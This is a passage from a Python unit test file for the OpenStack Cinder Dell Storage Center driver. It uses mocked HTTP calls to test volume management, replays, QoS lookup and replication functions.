'get',
return_value=RESPONSE_200)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=[INACTIVE_VOLUME])
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_init_volume')
def test_init_cg_volumes_inactive(self,
mock_init_volume,
mock_get_json,
mock_get,
mock_close_connection,
mock_open_connection,
mock_init):
profileid = 100
self.scapi._init_cg_volumes(profileid)
self.assertTrue(mock_get.called)
self.assertTrue(mock_get_json.called)
mock_init_volume.assert_called_once_with(self.INACTIVE_VOLUME)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'get',
return_value=RESPONSE_200)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=[VOLUME])
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_init_volume')
def test_init_cg_volumes_active(self,
mock_init_volume,
mock_get_json,
mock_get,
mock_close_connection,
mock_open_connection,
mock_init):
profileid = 100
self.scapi._init_cg_volumes(profileid)
self.assertTrue(mock_get.called)
self.assertTrue(mock_get_json.called)
self.assertFalse(mock_init_volume.called)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_204)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_id',
return_value='100')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_init_cg_volumes')
def test_snap_cg_replay(self,
mock_init_cg_volumes,
mock_get_id,
mock_post,
mock_close_connection,
mock_open_connection,
mock_init):
replayid = 'guid'
expire = 0
profile = {'instanceId': '100'}
# See the 100 from get_id above?
expected_url = 'StorageCenter/ScReplayProfile/100/CreateReplay'
expected_payload = {'description': replayid, 'expireTime': expire}
res = self.scapi.snap_cg_replay(profile, replayid, expire)
mock_post.assert_called_once_with(expected_url, expected_payload, True)
self.assertTrue(mock_get_id.called)
self.assertTrue(mock_init_cg_volumes.called)
self.assertTrue(res)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_400)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_id',
return_value='100')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_init_cg_volumes')
def test_snap_cg_replay_bad_return(self,
mock_init_cg_volumes,
mock_get_id,
mock_post,
mock_close_connection,
mock_open_connection,
mock_init):
replayid = 'guid'
expire = 0
profile = {'instanceId': '100'}
# See the 100 from get_id above?
expected_url = 'StorageCenter/ScReplayProfile/100/CreateReplay'
expected_payload = {'description': replayid, 'expireTime': expire}
res = self.scapi.snap_cg_replay(profile, replayid, expire)
mock_post.assert_called_once_with(expected_url, expected_payload, True)
self.assertTrue(mock_get_id.called)
self.assertTrue(mock_init_cg_volumes.called)
self.assertFalse(res)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=CGS)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'get',
return_value=RESPONSE_200)
def test_find_sc_cg(self,
mock_get,
mock_get_json,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi._find_sc_cg(
{},
'GUID1-0869559e-6881-454e-ba18-15c6726d33c1')
self.assertEqual(self.CGS[0], res)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=CGS)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'get',
return_value=RESPONSE_200)
def test_find_sc_cg_not_found(self,
mock_get,
mock_get_json,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi._find_sc_cg(
{},
'GUID3-0869559e-6881-454e-ba18-15c6726d33c1')
self.assertIsNone(res)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'get',
return_value=RESPONSE_400)
def test_find_sc_cg_fail(self,
mock_get,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi._find_sc_cg(
{},
'GUID1-0869559e-6881-454e-ba18-15c6726d33c1')
self.assertIsNone(res)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_sc_cg',
return_value={'instanceId': 101})
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=RPLAYS)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'get')
def test_find_cg_replays(self,
mock_get,
mock_get_json,
mock_find_sc_cg,
mock_close_connection,
mock_open_connection,
mock_init):
profile = {'instanceId': '100'}
replayid = 'Cinder Test Replay012345678910'
res = self.scapi._find_cg_replays(profile, replayid)
expected_url = 'StorageCenter/ScReplayConsistencyGroup/101/ReplayList'
mock_get.assert_called_once_with(expected_url)
self.assertTrue(mock_find_sc_cg.called)
self.assertTrue(mock_get_json.called)
# We should fine RPLAYS
self.assertEqual(self.RPLAYS, res)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_sc_cg',
return_value=None)
def test_find_cg_replays_no_cg(self,
mock_find_sc_cg,
mock_close_connection,
mock_open_connection,
mock_init):
profile = {'instanceId': '100'}
replayid = 'Cinder Test Replay012345678910'
res = self.scapi._find_cg_replays(profile, replayid)
self.assertTrue(mock_find_sc_cg.called)
# We should return an empty list.
self.assertEqual([], res)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_sc_cg',
return_value={'instanceId': 101})
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=None)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'get')
def test_find_cg_replays_bad_json(self,
mock_get,
mock_get_json,
mock_find_sc_cg,
mock_close_connection,
mock_open_connection,
mock_init):
profile = {'instanceId': '100'}
replayid = 'Cinder Test Replay012345678910'
res = self.scapi._find_cg_replays(profile, replayid)
expected_url = 'StorageCenter/ScReplayConsistencyGroup/101/ReplayList'
mock_get.assert_called_once_with(expected_url)
self.assertTrue(mock_find_sc_cg.called)
self.assertTrue(mock_get_json.called)
self.assertIsNone(res)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_cg_replays',
return_value=RPLAYS)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_204)
def test_delete_cg_replay(self,
mock_post,
mock_find_cg_replays,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi.delete_cg_replay({}, '')
expected_url = ('StorageCenter/ScReplay/' +
self.RPLAYS[0]['instanceId'] +
'/Expire')
mock_post.assert_any_call(expected_url, {}, True)
expected_url = ('StorageCenter/ScReplay/' +
self.RPLAYS[1]['instanceId'] +
'/Expire')
mock_post.assert_any_call(expected_url, {}, True)
self.assertTrue(mock_find_cg_replays.called)
self.assertTrue(res)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_cg_replays',
return_value=RPLAYS)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_400)
def test_delete_cg_replay_error(self,
mock_post,
mock_find_cg_replays,
mock_close_connection,
mock_open_connection,
mock_init):
expected_url = ('StorageCenter/ScReplay/' +
self.RPLAYS[0]['instanceId'] +
'/Expire')
res = self.scapi.delete_cg_replay({}, '')
mock_post.assert_called_once_with(expected_url, {}, True)
self.assertTrue(mock_find_cg_replays.called)
self.assertFalse(res)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_cg_replays',
return_value=[])
def test_delete_cg_replay_cant_find(self,
mock_find_cg_replays,
mock_close_connection,
mock_open_connection,
mock_init):
res = self.scapi.delete_cg_replay({}, '')
self.assertTrue(mock_find_cg_replays.called)
self.assertTrue(res)
def test_size_to_gb(self,
mock_close_connection,
mock_open_connection,
mock_init):
gb, rem = self.scapi.size_to_gb('1.073741824E9 Byte')
self.assertEqual(1, gb)
self.assertEqual(0, rem)
self.assertRaises(exception.VolumeBackendAPIException,
self.scapi.size_to_gb,
'banana')
gb, rem = self.scapi.size_to_gb('1.073741924E9 Byte')
self.assertEqual(1, gb)
self.assertEqual(100, rem)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_volume_folder')
@mock.patch.object(dell_storagecenter_api.HttpClient,
'put',
return_value=RESPONSE_200)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=VOLUME)
def test_import_one(self,
mock_get_json,
mock_put,
mock_find_volume_folder,
mock_close_connection,
mock_open_connection,
mock_init):
newname = 'guid'
# First test is folder found. Second ist is not found.
mock_find_volume_folder.side_effect = [{'instanceId': '1'}, None]
expected_url = 'StorageCenter/ScVolume/100'
expected_payload = {'Name': newname,
'VolumeFolder': '1'}
self.scapi._import_one({'instanceId': '100'}, newname)
mock_put.assert_called_once_with(expected_url, expected_payload, True)
self.assertTrue(mock_find_volume_folder.called)
expected_payload = {'Name': newname}
self.scapi._import_one({'instanceId': '100'}, newname)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_volume_list',
return_value=[{'configuredSize':
'1.073741824E9 Bytes'}])
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'size_to_gb',
return_value=(1, 0))
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_mappings',
return_value=[])
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_import_one',
return_value=VOLUME)
def test_manage_existing(self,
mock_import_one,
mock_find_mappings,
mock_size_to_gb,
mock_get_volume_list,
mock_close_connection,
mock_open_connection,
mock_init):
newname = 'guid'
existing = {'source-name': 'scvolname'}
self.scapi.manage_existing(newname, existing)
mock_get_volume_list.assert_called_once_with(
existing.get('source-name'), None, False)
self.assertTrue(mock_find_mappings.called)
self.assertTrue(mock_size_to_gb.called)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_volume_list',
return_value=[])
def test_manage_existing_vol_not_found(self,
mock_get_volume_list,
mock_close_connection,
mock_open_connection,
mock_init):
# Same as above only we don't have a volume folder.
newname = 'guid'
existing = {'source-name': 'scvolname'}
self.assertRaises(exception.ManageExistingInvalidReference,
self.scapi.manage_existing,
newname,
existing)
mock_get_volume_list.assert_called_once_with(
existing.get('source-name'),
existing.get('source-id'),
False)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_volume_list',
return_value=[{}, {}, {}])
def test_manage_existing_vol_multiple_found(self,
mock_get_volume_list,
mock_close_connection,
mock_open_connection,
mock_init):
# Same as above only we don't have a volume folder.
newname = 'guid'
existing = {'source-name': 'scvolname'}
self.assertRaises(exception.ManageExistingInvalidReference,
self.scapi.manage_existing,
newname,
existing)
mock_get_volume_list.assert_called_once_with(
existing.get('source-name'),
existing.get('source-id'),
False)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_volume_list',
return_value=[{'configuredSize':
'1.073741924E9 Bytes'}])
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'size_to_gb',
return_value=(1, 100))
def test_manage_existing_bad_size(self,
mock_size_to_gb,
mock_get_volume_list,
mock_close_connection,
mock_open_connection,
mock_init):
# Same as above only we don't have a volume folder.
newname = 'guid'
existing = {'source-name': 'scvolname'}
self.assertRaises(exception.VolumeBackendAPIException,
self.scapi.manage_existing,
newname,
existing)
mock_get_volume_list.assert_called_once_with(
existing.get('source-name'),
existing.get('source-id'),
False)
self.assertTrue(mock_size_to_gb.called)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_volume_list',
return_value=[{'configuredSize':
'1.073741824E9 Bytes'}])
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'size_to_gb',
return_value=(1, 0))
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_mappings',
return_value=[{}, {}])
def test_manage_existing_already_mapped(self,
mock_find_mappings,
mock_size_to_gb,
mock_get_volume_list,
mock_close_connection,
mock_open_connection,
mock_init):
newname = 'guid'
existing = {'source-name': 'scvolname'}
self.assertRaises(exception.VolumeBackendAPIException,
self.scapi.manage_existing,
newname,
existing)
mock_get_volume_list.assert_called_once_with(
existing.get('source-name'),
existing.get('source-id'),
False)
self.assertTrue(mock_find_mappings.called)
self.assertTrue(mock_size_to_gb.called)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_volume_list',
return_value=[{'configuredSize':
'1.073741824E9 Bytes'}])
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'size_to_gb',
return_value=(1, 0))
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_mappings',
return_value=[])
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_import_one',
return_value=None)
def test_manage_existing_import_fail(self,
mock_import_one,
mock_find_mappings,
mock_size_to_gb,
mock_get_volume_list,
mock_close_connection,
mock_open_connection,
mock_init):
# We fail on the _find_volume_folder to make this easier.
newname = 'guid'
existing = {'source-name': 'scvolname'}
self.assertRaises(exception.VolumeBackendAPIException,
self.scapi.manage_existing,
newname,
existing)
mock_get_volume_list.assert_called_once_with(
existing.get('source-name'),
existing.get('source-id'),
False)
self.assertTrue(mock_find_mappings.called)
self.assertTrue(mock_size_to_gb.called)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_volume_list',
return_value=[{'configuredSize':
'1.073741824E9 Bytes'}])
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'size_to_gb',
return_value=(1, 0))
def test_get_unmanaged_volume_size(self,
mock_size_to_gb,
mock_get_volume_list,
mock_close_connection,
mock_open_connection,
mock_init):
existing = {'source-name': 'scvolname'}
res = self.scapi.get_unmanaged_volume_size(existing)
mock_get_volume_list.assert_called_once_with(
existing.get('source-name'),
existing.get('source-id'),
False)
self.assertTrue(mock_size_to_gb.called)
self.assertEqual(1, res)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_volume_list',
return_value=[])
def test_get_unmanaged_volume_size_not_found(self,
mock_get_volume_list,
mock_close_connection,
mock_open_connection,
mock_init):
existing = {'source-name': 'scvolname'}
self.assertRaises(exception.ManageExistingInvalidReference,
self.scapi.get_unmanaged_volume_size,
existing)
mock_get_volume_list.assert_called_once_with(
existing.get('source-name'),
existing.get('source-id'),
False)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_volume_list',
return_value=[{}, {}, {}])
def test_get_unmanaged_volume_size_many_found(self,
mock_get_volume_list,
mock_close_connection,
mock_open_connection,
mock_init):
existing = {'source-name': 'scvolname'}
self.assertRaises(exception.ManageExistingInvalidReference,
self.scapi.get_unmanaged_volume_size,
existing)
mock_get_volume_list.assert_called_once_with(
existing.get('source-name'),
existing.get('source-id'),
False)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_volume_list',
return_value=[{'configuredSize':
'1.073741924E9 Bytes'}])
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'size_to_gb',
return_value=(1, 100))
def test_get_unmanaged_volume_size_bad_size(self,
mock_size_to_gb,
mock_get_volume_list,
mock_close_connection,
mock_open_connection,
mock_init):
existing = {'source-name': 'scvolname'}
self.assertRaises(exception.VolumeBackendAPIException,
self.scapi.get_unmanaged_volume_size,
existing)
self.assertTrue(mock_size_to_gb.called)
mock_get_volume_list.assert_called_once_with(
existing.get('source-name'),
existing.get('source-id'),
False)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'put',
return_value=RESPONSE_200)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_id',
return_value='100')
def test_unmanage(self,
mock_get_id,
mock_put,
mock_close_connection,
mock_open_connection,
mock_init):
# Same as above only we don't have a volume folder.
scvolume = {'name': 'guid'}
expected_url = 'StorageCenter/ScVolume/100'
newname = 'Unmanaged_' + scvolume['name']
expected_payload = {'Name': newname}
self.scapi.unmanage(scvolume)
self.assertTrue(mock_get_id.called)
mock_put.assert_called_once_with(expected_url, expected_payload, True)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'put',
return_value=RESPONSE_400)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_id',
return_value='100')
def test_unmanage_fail(self,
mock_get_id,
mock_put,
mock_close_connection,
mock_open_connection,
mock_init):
# Same as above only we don't have a volume folder.
scvolume = {'name': 'guid'}
expected_url = 'StorageCenter/ScVolume/100'
newname = 'Unmanaged_' + scvolume['name']
expected_payload = {'Name': newname}
self.assertRaises(exception.VolumeBackendAPIException,
self.scapi.unmanage,
scvolume)
self.assertTrue(mock_get_id.called)
mock_put.assert_called_once_with(expected_url, expected_payload, True)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_200)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=[SCQOS])
# def _find_qos(self, qosnode):
def test__find_qos(self,
mock_get_json,
mock_post,
mock_close_connection,
mock_open_connection,
mock_init):
ret = self.scapi._find_qos('Cinder QoS')
self.assertDictEqual(self.SCQOS, ret)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_200)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json')
# def _find_qos(self, qosnode):
def test__find_qos_not_found(self,
mock_get_json,
mock_post,
mock_close_connection,
mock_open_connection,
mock_init):
# set side effect for posts.
# first empty second returns qosnode
mock_get_json.side_effect = [[], self.SCQOS]
ret = self.scapi._find_qos('Cinder QoS')
self.assertDictEqual(self.SCQOS, ret)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_400)
# def _find_qos(self, qosnode):
def test__find_qos_find_fail(self,
mock_post,
mock_close_connection,
mock_open_connection,
mock_init):
self.assertRaises(exception.VolumeBackendAPIException,
self.scapi._find_qos,
'Cinder QoS')
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=[])
# def _find_qos(self, qosnode):
def test__find_qos_create_fail(self,
mock_get_json,
mock_post,
mock_close_connection,
mock_open_connection,
mock_init):
mock_post.side_effect = [self.RESPONSE_200, self.RESPONSE_400]
self.assertRaises(exception.VolumeBackendAPIException,
self.scapi._find_qos,
'Cinder QoS')
@mock.patch.object(dell_storagecenter_api.HttpClient,
'get',
return_value=RESPONSE_200)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=SCREPL)
def test_get_screplication(self,
mock_get_json,
mock_get,
mock_close_connection,
mock_open_connection,
mock_init):
ret = self.scapi.get_screplication({'instanceId': '1'}, 65495)
self.assertDictEqual(self.SCREPL[0], ret)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'get',
return_value=RESPONSE_200)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=[])
def test_get_screplication_not_found(self,
mock_get_json,
mock_get,
mock_close_connection,
mock_open_connection,
mock_init):
ret = self.scapi.get_screplication({'instanceId': '1'}, 65496)
self.assertIsNone(ret)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'get',
return_value=RESPONSE_400)
def test_get_screplication_error(self,
mock_get,
mock_close_connection,
mock_open_connection,
mock_init):
ret = self.scapi.get_screplication({'instanceId': '1'}, 65495)
self.assertIsNone(ret)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'get_screplication',
return_value=SCREPL[0])
@mock.patch.object(dell_storagecenter_api.HttpClient,
'delete',
return_value=RESPONSE_200)
def test_delete_replication(self,
mock_delete,
mock_get_screplication,
mock_close_connection,
mock_open_connection,
mock_init):
destssn = 65495
expected = 'StorageCenter/ScReplication/%s' % (
self.SCREPL[0]['instanceId'])
expected_payload = {'DeleteDestinationVolume': True,
'RecycleDestinationVolume': False,
'DeleteRestorePoint': True}
ret = self.scapi.delete_replication(self.VOLUME, destssn)
mock_delete.assert_any_call(expected, payload=expected_payload,
async=True)
self.assertTrue(ret)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'get_screplication',
return_value=None)
def test_delete_replication_not_found(self,
mock_get_screplication,
mock_close_connection,
mock_open_connection,
mock_init):
destssn = 65495
ret = self.scapi.delete_replication(self.VOLUME, destssn)
self.assertFalse(ret)
ret = self.scapi.delete_replication(self.VOLUME, destssn)
self.assertFalse(ret)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'get_screplication',
return_value=SCREPL[0])
@mock.patch.object(dell_storagecenter_api.HttpClient,
'delete',
return_value=RESPONSE_400)
def test_delete_replication_error(self,
mock_delete,
mock_get_screplication,
mock_close_connection,
mock_open_connection,
mock_init):
destssn = 65495
expected = 'StorageCenter/ScReplication/%s' % (
self.SCREPL[0]['instanceId'])
expected_payload = {'DeleteDestinationVolume': True,
'RecycleDestinationVolume': False,
'DeleteRestorePoint': True}
ret = self.scapi.delete_replication(self.VOLUME, destssn)
mock_delete.assert_any_call(expected, payload=expected_payload,
async=True)
self.assertFalse(ret)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_qos',
return_value=SCQOS)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'find_sc')
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_200)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=SCREPL[0])
def test_create_replication(self,
mock_get_json,
mock_post,
mock_find_sc,
mock_find_qos,
mock_close_connection,
mock_open_connection,
mock_init):
# We don't test diskfolder. If one is found we include it. If not
# then we leave it out. Checking for disk folder is tested elsewhere.
ssn = 64702
destssn = 65495
qosnode = 'Cinder QoS'
notes = 'Created by Dell Cinder Driver'
repl_prefix = 'Cinder repl of '
mock_find_sc.side_effect = [destssn, ssn, destssn, ssn, destssn, ssn]
payload = {'DestinationStorageCenter': destssn,
'QosNode': self.SCQOS['instanceId'],
'SourceVolume': self.VOLUME['instanceId'],
'StorageCenter': ssn,
'ReplicateActiveReplay': False,
'Type': 'Asynchronous',
'DestinationVolumeAttributes':
{'CreateSourceVolumeFolderPath': True,
'Notes': notes,
'Name': repl_prefix + self.VOLUME['name']}
}
ret = self.scapi.create_replication(self.VOLUME,
str(destssn),
qosnode,
False,
None,
False)
mock_post.assert_any_call('StorageCenter/ScReplication', payload, True)
self.assertDictEqual(self.SCREPL[0], ret)
payload['Type'] = 'Synchronous'
payload['ReplicateActiveReplay'] = True
ret = self.scapi.create_replication(self.VOLUME,
str(destssn),
qosnode,
True,
None,
False)
mock_post.assert_any_call('StorageCenter/ScReplication', payload, True)
self.assertDictEqual(self.SCREPL[0], ret)
ret = self.scapi.create_replication(self.VOLUME,
str(destssn),
qosnode,
True,
None,
True)
mock_post.assert_any_call('StorageCenter/ScReplication', payload, True)
self.assertDictEqual(self.SCREPL[0], ret)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_qos',
return_value=SCQOS)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'find_sc')
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=SCREPL[0])
def test_create_replication_error(self,
mock_get_json,
mock_post,
mock_find_sc,
mock_find_qos,
mock_close_connection,
mock_open_connection,
mock_init):
ssn = 64702
destssn = 65495
qosnode = 'Cinder QoS'
notes = 'Created by Dell Cinder Driver'
repl_prefix = 'Cinder repl of '
mock_find_sc.side_effect = [destssn, ssn, destssn, ssn]
mock_post.side_effect = [self.RESPONSE_400, self.RESPONSE_400,
self.RESPONSE_400, self.RESPONSE_400]
payload = {'DestinationStorageCenter': destssn,
'QosNode': self.SCQOS['instanceId'],
'SourceVolume': self.VOLUME['instanceId'],
'StorageCenter': ssn,
'ReplicateActiveReplay': False,
'Type': 'Asynchronous',
'DestinationVolumeAttributes':
{'CreateSourceVolumeFolderPath': True,
'Notes': notes,
'Name': repl_prefix + self.VOLUME['name']}
}
ret = self.scapi.create_replication(self.VOLUME,
str(destssn),
qosnode,
False,
None,
False)
mock_post.assert_any_call('StorageCenter/ScReplication', payload, True)
self.assertIsNone(ret)
payload['Type'] = 'Synchronous'
payload['ReplicateActiveReplay'] = True
ret = self.scapi.create_replication(self.VOLUME,
str(destssn),
qosnode,
True,
None,
True)
mock_post.assert_any_call('StorageCenter/ScReplication', payload, True)
self.assertIsNone(ret)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_200)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=SCREPL)
def test_find_repl_volume(self,
mock_get_json,
mock_post,
mock_close_connection,
mock_open_connection,
mock_init):
ret = self.scapi.find_repl_volume('guid', 65495)
self.assertDictEqual(self.SCREPL[0], ret)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_200)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=[])
def test_find_repl_volume_empty_list(self,
mock_get_json,
mock_post,
mock_close_connection,
mock_open_connection,
mock_init):
ret = self.scapi.find_repl_volume('guid', 65495)
self.assertIsNone(ret)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_200)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json',
return_value=[{'instanceId': '1'}, {'instanceId': '2'}])
def test_find_repl_volume_multiple_results(self,
mock_get_json,
mock_post,
mock_close_connection,
mock_open_connection,
mock_init):
ret = self.scapi.find_repl_volume('guid', 65495)
self.assertIsNone(ret)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post',
return_value=RESPONSE_400)
def test_find_repl_volume_error(self,
mock_post,
mock_close_connection,
mock_open_connection,
mock_init):
ret = self.scapi.find_repl_volume('guid', 65495)
self.assertIsNone(ret)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'get_screplication')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'find_repl_volume')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'find_volume')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'remove_mappings')
def test_break_replication(self,
mock_remove_mappings,
mock_find_volume,
mock_find_repl_volume,
mock_get_screplication,
mock_close_connection,
mock_open_connection,
mock_init):
# Find_volume doesn't actually matter. We do not gate on this.
# Switch it up just to prove that.
mock_find_volume.side_effect = [self.VOLUME, # 1
self.VOLUME, # 2
None, # 3
None] # 4
# Much like find volume we do not gate on this.
mock_get_screplication.side_effect = [self.SCREPL[0], # 1
None, # 2
None, # 3
None] # 4
# This
mock_find_repl_volume.side_effect = [self.VOLUME, # 1
self.VOLUME, # 2
self.VOLUME, # 3
self.VOLUME] # 4
mock_remove_mappings.side_effect = [True, # 1
True,
True, # 2
False,
True, # 3
True,
False] # 4
# Good path.
ret = self.scapi.break_replication('name', None, 65495)
self.assertEqual(self.VOLUME, ret)
# Source found, screpl not found.
ret = self.scapi.break_replication('name', None, 65495)
self.assertEqual(self.VOLUME, ret)
# No source vol good path.
ret = self.scapi.break_replication('name', None, 65495)
self.assertEqual(self.VOLUME, ret)
# fail remove mappings
ret = self.scapi.break_replication('name', None, 65495)
self.assertEqual(self.VOLUME, ret)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_user_preferences')
def test__find_user_replay_profiles(self,
mock_get_user_preferences,
mock_close_connection,
mock_open_connection,
mock_init):
mock_get_user_preferences.return_value = {}
ret = self.scapi._find_user_replay_profiles()
self.assertEqual([], ret)
mock_get_user_preferences.return_value = {'test': 'test',
'replayProfileList': []}
ret = self.scapi._find_user_replay_profiles()
self.assertEqual([], ret)
mock_get_user_preferences.return_value = {
'test': 'test', 'replayProfileList': [{'instanceId': 'a'},
{'instanceId': 'b'}]}
ret = self.scapi._find_user_replay_profiles()
self.assertEqual(['a', 'b'], ret)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json')
def test__find_daily_replay_profile(self,
mock_get_json,
mock_post,
mock_close_connection,
mock_open_connection,
mock_init):
mock_post.return_value = self.RESPONSE_200
mock_get_json.return_value = [{'instanceId': 'a'}]
ret = self.scapi._find_daily_replay_profile()
self.assertEqual('a', ret)
mock_get_json.return_value = []
ret = self.scapi._find_daily_replay_profile()
self.assertIsNone(ret)
mock_get_json.return_value = None
ret = self.scapi._find_daily_replay_profile()
self.assertIsNone(ret)
mock_post.return_value = self.RESPONSE_400
ret = self.scapi._find_daily_replay_profile()
self.assertIsNone(ret)
@mock.patch.object(dell_storagecenter_api.HttpClient,
'post')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_get_json')
def test__find_replay_profiles(self,
mock_get_json,
mock_post,
mock_close_connection,
mock_open_connection,
mock_init):
# Good run.
rps = 'a,b'
mock_post.return_value = self.RESPONSE_200
mock_get_json.return_value = [{'name': 'a', 'instanceId': 'a'},
{'name': 'b', 'instanceId': 'b'},
{'name': 'c', 'instanceId': 'c'}]
reta, retb = self.scapi._find_replay_profiles(rps)
self.assertEqual(['a', 'b'], reta)
self.assertEqual(['c'], retb)
# Looking for profile that doesn't exist.
rps = 'a,b,d'
self.assertRaises(exception.VolumeBackendAPIException,
self.scapi._find_replay_profiles,
rps)
# Looking for nothing.
rps = ''
reta, retb = self.scapi._find_replay_profiles(rps)
self.assertEqual([], reta)
self.assertEqual([], retb)
# Still Looking for nothing.
rps = None
reta, retb = self.scapi._find_replay_profiles(rps)
self.assertEqual([], reta)
self.assertEqual([], retb)
# Bad call.
rps = 'a,b'
mock_post.return_value = self.RESPONSE_400
self.assertRaises(exception.VolumeBackendAPIException,
self.scapi._find_replay_profiles,
rps)
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_replay_profiles')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_user_replay_profiles')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_find_daily_replay_profile')
@mock.patch.object(dell_storagecenter_api.StorageCenterApi,
'_update_volume_profiles')
def test_update_replay_profiles(self,
mock_update_volume_profiles,
mock_find_daily_replay_profile,
mock_find_user_replay_profiles,
mock_find_replay_profiles,
mock_close_connection,
mock_open_connection,
mock_init):
scvol = {}
mock_find_replay_profiles.return_value = (['a', 'b'], ['c'])
